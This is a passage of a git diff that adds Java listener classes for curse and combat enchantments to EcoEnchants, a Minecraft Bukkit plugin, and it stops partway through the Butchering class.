a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/FragilityCurse.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/FragilityCurse.java new file mode 100644 index 00000000..b7f875d8 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/FragilityCurse.java @@ -0,0 +1,34 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.curse; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.event.EventHandler; +import org.bukkit.event.player.PlayerItemDamageEvent; +import org.bukkit.inventory.ItemStack; + +@SuppressWarnings("deprecation") +public class FragilityCurse extends EcoEnchant { + public FragilityCurse() { + super( + new EcoEnchantBuilder("fragility_curse", EnchantmentType.CURSE, new Target.Applicable[]{Target.Applicable.ALL}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onItemDamage(PlayerItemDamageEvent event) { + ItemStack item = event.getItem(); + + if (!HasEnchant.item(item, this)) return; + + int min = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "minimum-extra-durability"); + int max = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "maximum-extra-durability"); + + event.setDamage(event.getDamage() * Rand.randInt(min, max)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/HarmlessnessCurse.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/HarmlessnessCurse.java new file mode 100644 index 00000000..c57c0212 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/HarmlessnessCurse.java @@ -0,0 +1,44 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.curse; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Monster; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class HarmlessnessCurse extends EcoEnchant { + public HarmlessnessCurse() { + super( + new EcoEnchantBuilder("harmlessness_curse", EnchantmentType.CURSE, new Target.Applicable[]{Target.Applicable.SWORD, Target.Applicable.AXE}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void harmlessnessHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + if (event.getEntity() instanceof Monster) + return; + + Player player = (Player) event.getDamager(); + + if (!HasEnchant.playerHeld(player, this)) return; + + if (Rand.randFloat(0, 1) > 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance")) + return; + + event.setDamage(0); + event.setCancelled(true); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/HungerCurse.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/HungerCurse.java new file mode 100644 index 00000000..15f771b1 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/HungerCurse.java @@ -0,0 +1,37 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.curse; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.FoodLevelChangeEvent; + +@SuppressWarnings("deprecation") +public class HungerCurse extends EcoEnchant { + public HungerCurse() { + super( + new EcoEnchantBuilder("hunger_curse", EnchantmentType.CURSE, Target.Applicable.HELMET, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHunger(FoodLevelChangeEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getEntity(); + + if(!HasEnchant.playerHelmet(player, this)) return; + if(event.getFoodLevel() > player.getFoodLevel()) return; + + int delta = player.getFoodLevel() - event.getFoodLevel(); + delta *= this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "times-more-hunger"); + + event.setFoodLevel(player.getFoodLevel() - delta); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/MisfortuneCurse.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/MisfortuneCurse.java new file mode 100644 index 00000000..65dbbc49 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/MisfortuneCurse.java @@ -0,0 +1,34 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.curse; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.block.BlockBreakEvent; + +@SuppressWarnings("deprecation") +public class MisfortuneCurse extends EcoEnchant { + public MisfortuneCurse() { + super( + new EcoEnchantBuilder("misfortune_curse", EnchantmentType.CURSE, Target.Applicable.TOOL, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onBreak(BlockBreakEvent event) { + Player player = event.getPlayer(); + + if (!HasEnchant.playerHeld(player, this)) return; + + if (Rand.randFloat(0, 1) > 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance")) + return; + + event.setDropItems(false); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/PermanenceCurse.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/PermanenceCurse.java new file mode 100644 index 00000000..e8aa55e7 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/PermanenceCurse.java @@ -0,0 +1,18 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.curse; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.nms.Target; + +@SuppressWarnings("deprecation") +public class PermanenceCurse extends EcoEnchant { + public PermanenceCurse() { + super( + new EcoEnchantBuilder("permanence_curse", EnchantmentType.CURSE, Target.Applicable.ALL, 4.0) + ); + } + + // START OF LISTENERS + + // Listeners are in anvil listeners +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Abrasion.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Abrasion.java new file mode 100644 index 00000000..7adc568f --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Abrasion.java @@ -0,0 +1,75 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Cooldown; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.ItemDurability; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.inventory.ItemStack; + +import java.util.ArrayList; +import java.util.Arrays; + +@SuppressWarnings("deprecation") +public class Abrasion extends EcoEnchant { + public Abrasion() { + super( + new EcoEnchantBuilder("abrasion", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.SWORD, Target.Applicable.AXE}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + + if (!(event.getEntity() instanceof Player)) + return; + + if (event.isCancelled()) + return; + + Player player = (Player) event.getDamager(); + Player victim = (Player) event.getEntity(); + + if(!AntiGrief.canInjurePlayer(player, victim)) return; + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + boolean notcharged = this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "allow-not-fully-charged"); + if (Cooldown.getCooldown(player) != 1.0f && !notcharged) + return; + + ArrayList armor = new ArrayList(Arrays.asList(victim.getInventory().getArmorContents())); + if (armor.isEmpty()) + return; + + for (ItemStack armorPiece : armor) { + if (armorPiece == null) + continue; + + if (Target.Applicable.HELMET.getMaterials().contains(armorPiece.getType())) { + ItemDurability.damageItem(player, player.getInventory().getHelmet(), level, 39); + } + if (Target.Applicable.CHESTPLATE.getMaterials().contains(armorPiece.getType())) { + ItemDurability.damageItem(player, player.getInventory().getChestplate(), level, 38); + } + if (Target.Applicable.LEGGINGS.getMaterials().contains(armorPiece.getType())) { + ItemDurability.damageItem(player, player.getInventory().getLeggings(), level, 37); + } + if (Target.Applicable.BOOTS.getMaterials().contains(armorPiece.getType())) { + ItemDurability.damageItem(player, player.getInventory().getBoots(), level, 36); + } + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Aerial.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Aerial.java new file mode 100644 index 00000000..d8613b43 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Aerial.java @@ -0,0 +1,63 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.event.entity.ProjectileLaunchEvent; +import org.bukkit.metadata.FixedMetadataValue; + +@SuppressWarnings("deprecation") +public class Aerial extends EcoEnchant { + public Aerial() { + super( + new EcoEnchantBuilder("aerial", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.BOW, Target.Applicable.CROSSBOW}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onShoot(ProjectileLaunchEvent event) { + if (event.getEntityType() != EntityType.ARROW) + return; + + if (!(event.getEntity().getShooter() instanceof Player)) + return; + + Player player = (Player) event.getEntity().getShooter(); + + if(player.isOnGround()) + return; + + if (!HasEnchant.playerHeld(player, this)) return; + int level = HasEnchant.getPlayerLevel(player, this); + + if (!(event.getEntity() instanceof Arrow)) return; + Arrow a = (Arrow) event.getEntity(); + a.setMetadata("from-aerial", new FixedMetadataValue(Main.getInstance(), level)); + } + + @EventHandler + public void onDamage(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Arrow)) + return; + + if (!event.getDamager().hasMetadata("from-aerial")) + return; + + int level = event.getDamager().getMetadata("from-aerial").get(0).asInt(); + + double damage = event.getDamage(); + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-multiplier-per-level"); + double reduction = 1 + (multiplier * level); + event.setDamage(damage * reduction); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Aquatic.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Aquatic.java new file mode 100644 index 00000000..96aceadf --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Aquatic.java @@ -0,0 +1,58 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.nms.TridentStack; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.Material; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.entity.Trident; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.inventory.ItemStack; + +@SuppressWarnings("deprecation") +public class Aquatic extends EcoEnchant { + public Aquatic() { + super( + new EcoEnchantBuilder("aquatic", EnchantmentType.NORMAL, Target.Applicable.TRIDENT, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Trident)) + return; + + if(!(((Trident) event.getDamager()).getShooter() instanceof Player)) + return; + + if (!(event.getEntity() instanceof LivingEntity)) + return; + + if (event.isCancelled()) + return; + + Player player = (Player) ((Trident) event.getDamager()).getShooter(); + Trident trident = (Trident) event.getDamager(); + ItemStack item = TridentStack.getTridentStack(trident); + + if(!player.getLocation().getBlock().getType().equals(Material.WATER)) + return; + + if (!HasEnchant.item(item, this)) return; + + int level = HasEnchant.getItemLevel(item, this); + + double perLevelDamage = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "percent-more-per-level"); + + double totalDamagePercent = (100 + (perLevelDamage * level))/100; + + event.setDamage(event.getDamage() * totalDamagePercent); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Arcanic.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Arcanic.java new file mode 100644 index 00000000..809d3da8 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Arcanic.java @@ -0,0 +1,44 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageEvent; + +@SuppressWarnings("deprecation") +public class Arcanic extends EcoEnchant { + public Arcanic() { + super( + new EcoEnchantBuilder("arcanic", EnchantmentType.NORMAL, Target.Applicable.ARMOR, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onEffect(EntityDamageEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + if (!(event.getCause().equals(EntityDamageEvent.DamageCause.POISON) || event.getCause().equals(EntityDamageEvent.DamageCause.WITHER))) + return; + + Player player = (Player) event.getEntity(); + + int totalArcanicPoints = HasEnchant.getArmorPoints(player, this, false); + + if (totalArcanicPoints == 0) + return; + + double chance = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-point"); + if (Rand.randFloat(0, 1) > totalArcanicPoints * 0.01 * chance) + return; + + event.setCancelled(true); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Beheading.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Beheading.java new file mode 100644 index 00000000..e3a963a8 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Beheading.java @@ -0,0 +1,76 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.queue.DropQueue; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.Material; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDeathEvent; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.SkullMeta; + +public class Beheading extends EcoEnchant { + public Beheading() { + super( + new EcoEnchantBuilder("beheading", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.SWORD, Target.Applicable.AXE}, 4.0) + ); + } + // START OF LISTENERS + + @EventHandler + public void onDeath(EntityDeathEvent event) { + if (event.getEntity().getKiller() == null) + return; + + Player player = event.getEntity().getKiller(); + + LivingEntity victim = event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double chance = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level"); + if (Rand.randFloat(0, 1) > level * 0.01 * chance) + return; + + ItemStack item; + + if(victim instanceof Player) { + item = new ItemStack(Material.PLAYER_HEAD, 1); + SkullMeta meta = (SkullMeta) item.getItemMeta(); + assert meta != null; + meta.setOwningPlayer((Player) victim); + item.setItemMeta(meta); + } else { + if(event.getEntityType().equals(EntityType.ZOMBIE)) { + item = new ItemStack(Material.ZOMBIE_HEAD, 1); + } + else if(event.getEntityType().equals(EntityType.SKELETON)) { + item = new ItemStack(Material.SKELETON_SKULL, 1); + } + else if(event.getEntityType().equals(EntityType.CREEPER)) { + item = new ItemStack(Material.CREEPER_HEAD, 1); + } + else if(event.getEntityType().equals(EntityType.ENDER_DRAGON)) { + item = new ItemStack(Material.DRAGON_HEAD, 1); + } + else return; + } + + new DropQueue(player) + .addItem(item) + .addXP(event.getDroppedExp()) + .setLocation(victim.getLocation()) + .push(); + + event.setDroppedExp(0); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/BlastMining.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/BlastMining.java new file mode 100644 index 00000000..83f77569 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/BlastMining.java @@ -0,0 +1,77 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.anticheat.AnticheatManager; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.BlockBreak; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.block.Block; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.block.BlockBreakEvent; +import org.bukkit.metadata.FixedMetadataValue; + +@SuppressWarnings("deprecation") +public class BlastMining extends EcoEnchant { + public BlastMining() { + super( + new EcoEnchantBuilder("blast_mining", EnchantmentType.NORMAL, Target.Applicable.PICKAXE, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onBreak(BlockBreakEvent event) { + Player player = event.getPlayer(); + Block block = event.getBlock(); + + if (block.hasMetadata("from-drill") || block.hasMetadata("from-lumberjack") || block.hasMetadata("from-blastmining") || block.hasMetadata("from-vein")) { + return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + if (event.isCancelled()) + return; + + if (!AntiGrief.canBreakBlock(player, block)) return; + + if(player.isSneaking() && this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "disable-on-sneak")) return; + + boolean hasExploded = false; + + AnticheatManager.exemptPlayer(player); + + for(int x = -1; x <= 1; x++) { + for(int y = -1; y <= 1; y++) { + for (int z = -1; z <= 1; z++) { + if(x == 0 && y == 0 && z == 0) continue; + Block block1 = block.getWorld().getBlockAt(block.getLocation().clone().add(x, y, z)); + block1.setMetadata("from-blastmining", new FixedMetadataValue(Main.getInstance(), true)); + + if(this.getConfig().getStrings(EcoEnchants.CONFIG_LOCATION + "blacklisted-blocks").contains(block1.getType().name().toLowerCase())) { + continue; + } + + if(block1.getType().getHardness() > block.getType().getHardness() && this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "hardness-check")) continue; + + if (!AntiGrief.canBreakBlock(player, block1)) continue; + + BlockBreak.breakBlock(player, block1); + if(!hasExploded) { + block.getWorld().createExplosion(block.getLocation().clone().add(0.5, 0.5, 0.5), 0, false); + hasExploded = true; + } + block1.removeMetadata("from-blastmining", Main.getInstance()); + } + } + } + + AnticheatManager.unexemptPlayer(player); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Bleed.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Bleed.java new file mode 100644 index 00000000..007f329f --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Bleed.java @@ -0,0 +1,74 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Cooldown; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.scheduler.BukkitRunnable; + +import java.util.concurrent.atomic.AtomicInteger; + +@SuppressWarnings("deprecation") +public class Bleed extends EcoEnchant { + public Bleed() { + super( + new EcoEnchantBuilder("bleed", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + if (Cooldown.getCooldown(player) != 1.0f && !this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "allow-not-fully-charged")) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + if (Rand.randFloat(0, 1) > level * 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level")) + return; + + double bleedDamage = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "bleed-damage"); + + int bleedCount = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "amount-per-level"); + bleedCount *= level; + final int finalBleedCount = bleedCount; + + AtomicInteger currentBleedCount = new AtomicInteger(0); + + new BukkitRunnable() { + @Override + public void run() { + currentBleedCount.addAndGet(1); + + victim.damage(bleedDamage); + + if(currentBleedCount.get() >= finalBleedCount) this.cancel(); + } + }.runTaskTimer(Main.getInstance(), 0, 10); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/BossHunter.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/BossHunter.java new file mode 100644 index 00000000..0400e226 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/BossHunter.java @@ -0,0 +1,45 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.Boss; +import org.bukkit.entity.ElderGuardian; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class BossHunter extends EcoEnchant { + public BossHunter() { + super( + new EcoEnchantBuilder("boss_hunter", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.BOW, Target.Applicable.CROSSBOW}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Arrow)) return; + + if (!(((Arrow) event.getDamager()).getShooter() instanceof Player)) return; + + if (!(event.getEntity() instanceof Boss || event.getEntity() instanceof ElderGuardian)) return; + + Player player = (Player) ((Arrow) event.getDamager()).getShooter(); + Arrow arrow = (Arrow) event.getDamager(); + + if (!HasEnchant.playerHeld(player, this)) return; + int level = HasEnchant.getPlayerLevel(player, this); + + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "multiplier"); + + double damageMultiplier = (level * multiplier) + 1; + + event.setDamage(event.getDamage() * damageMultiplier); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Buckshot.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Buckshot.java new file mode 100644 index 00000000..582bde98 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Buckshot.java @@ -0,0 +1,62 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.Sound; +import org.bukkit.SoundCategory; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.entity.AbstractArrow; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityShootBowEvent; +import org.bukkit.util.Vector; + +@SuppressWarnings("deprecation") +public class Buckshot extends EcoEnchant { + public Buckshot() { + super( + new EcoEnchantBuilder("buckshot", EnchantmentType.NORMAL, Target.Applicable.BOW, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onShoot(EntityShootBowEvent event) { + if (event.getProjectile().getType() != EntityType.ARROW) + return; + + if (!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + int level = HasEnchant.getPlayerLevel(player, this); + + event.getProjectile().remove(); + player.playSound(player.getLocation(), Sound.ENTITY_ARROW_SHOOT, SoundCategory.PLAYERS, 1.0f, 1.0f); + + int numberPerLevel = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "amount-per-level"); + int number = numberPerLevel * level; + double spread = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "spread-per-level"); + spread *= level; + + for (int i = 0; i < number; i += 1) { + + Vector velocity = event.getProjectile().getVelocity().clone(); + + velocity.add(new Vector(Rand.randFloat(-spread, spread), Rand.randFloat(-spread, spread), Rand.randFloat(-spread, spread))); + + Arrow arrow = player.launchProjectile(Arrow.class, velocity); + if(HasEnchant.playerHeld(player, Enchantment.ARROW_FIRE)) arrow.setFireTicks(Integer.MAX_VALUE); + arrow.setPickupStatus(AbstractArrow.PickupStatus.DISALLOWED); + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Butchering.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Butchering.java new file mode 100644 index 00000000..f119bbab --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Butchering.java @@ -0,0 +1,42 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Monster; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Butchering extends EcoEnchant { + public Butchering() { + super( + new EcoEnchantBuilder("butchering", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.SWORD, Target.Applicable.AXE}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void butcheringHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + if (event.getEntity() instanceof Monster) + return; + + Player player = (Player) event.getDamager(); + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = 